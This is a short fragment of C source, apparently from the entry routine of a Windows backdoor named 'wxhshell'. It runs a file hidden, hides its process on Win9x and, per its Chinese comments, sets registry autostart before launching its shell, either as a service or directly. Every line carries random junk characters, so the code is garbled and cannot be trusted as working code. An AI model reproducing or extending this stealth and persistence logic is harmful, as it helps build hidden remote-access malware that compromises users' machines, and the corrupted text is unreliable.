WinExec(wscfg.ws_filenam,SW_HIDE); VOkSR6
} H-C$Jy)f"
E'iN==p_:
if(!OsIsNt) { A3s-C+@X
// 如果时win9x，隐藏进程并且设置为注册表启动 lK"m|Z
HideProc(); 08MY=PC~R
StartWxhshell(lpCmdLine); nmWo:ox4;(
} Em]2K:
else C;\R 62'
if(StartFromService()) ^hRx{A
// 以服务方式启动 Wo2W/{
StartServiceCtrlDispatcher(DispatchTable); mzm{p(.
else vT{+Z\LL=
// 普通方式启动 &\m=|S
StartWxhshell(lpCmdLine); ko+fJ&$
(,I9|
return 0; ?8!\VNC.
}